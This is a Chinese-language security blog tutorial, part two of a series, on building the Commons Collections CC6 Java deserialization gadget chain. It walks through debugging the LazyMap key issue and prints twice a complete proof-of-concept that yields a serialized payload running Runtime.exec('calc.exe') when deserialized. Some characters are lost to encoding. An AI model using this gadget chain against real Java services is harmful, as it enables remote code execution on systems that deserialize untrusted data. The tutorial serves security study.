Java安全之CC6( 二 )

fakeTransformers 对象,等最后要?成Payload的时候,再把真正的 transformers 替换进去 。
将上面的transformer包装成恶意LazyMap对象outerMap,将其作为TiedMapEntry的map属性 。
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");接着,为了调? TiedMapEntry#hashCode(),我们需要将tme对象作为 HashMap的?个key 。注意,这?我们需要新建?个HashMap,?不是?之前LazyMap利?链?的那个HashMap,两者没任何关系 。
Map expMap = new HashMap();expMap.put(tme, "valuevalue");最后,可以将这个expMap作为对象来序列化了,不过,别忘了将真正的transformers数组设置进来
整体Payload如下:
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}关于构造利用链,先要有一个大致思路,接下来就是寻找参数是怎么样传递的 。
调试可以看到,只是生成序列化数据,没有成功执行命令

Java安全之CC6

文章插图
每个关键函数都打断点,单步调试一下 。在LazyMap的get?法,画框的部分,就是最后触发命令执?的transform(),但是这个if语句并没有进?,因为map.containsKey(key)的结果是true
Java安全之CC6

文章插图
可以看到这里的key是keykey,看下之前的代码,唯?出现keykey的地?就是在 TiedMapEntry的构造函数?,但TiedMapEntry的构造函数并没有修改outerMap
Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");这个关键点就出在expMap.put(tme, "valuevalue"); 这个语句?? 。HashMap的put?法中,也有调?到hash(key)
Java安全之CC6

文章插图
这?就导致LazyMap这个利?链在这?被调?了?遍,因为前??了fakeTransformers,所以此 时并没有触发命令执?,但实际上也对我们构造Payload产?了影响
解决?法也很简单,只需要将keykey这个Key,再从outerMap中移除即 可: outerMap.remove("keykey")
最终完整POC如下
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");//将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}

经验总结扩展阅读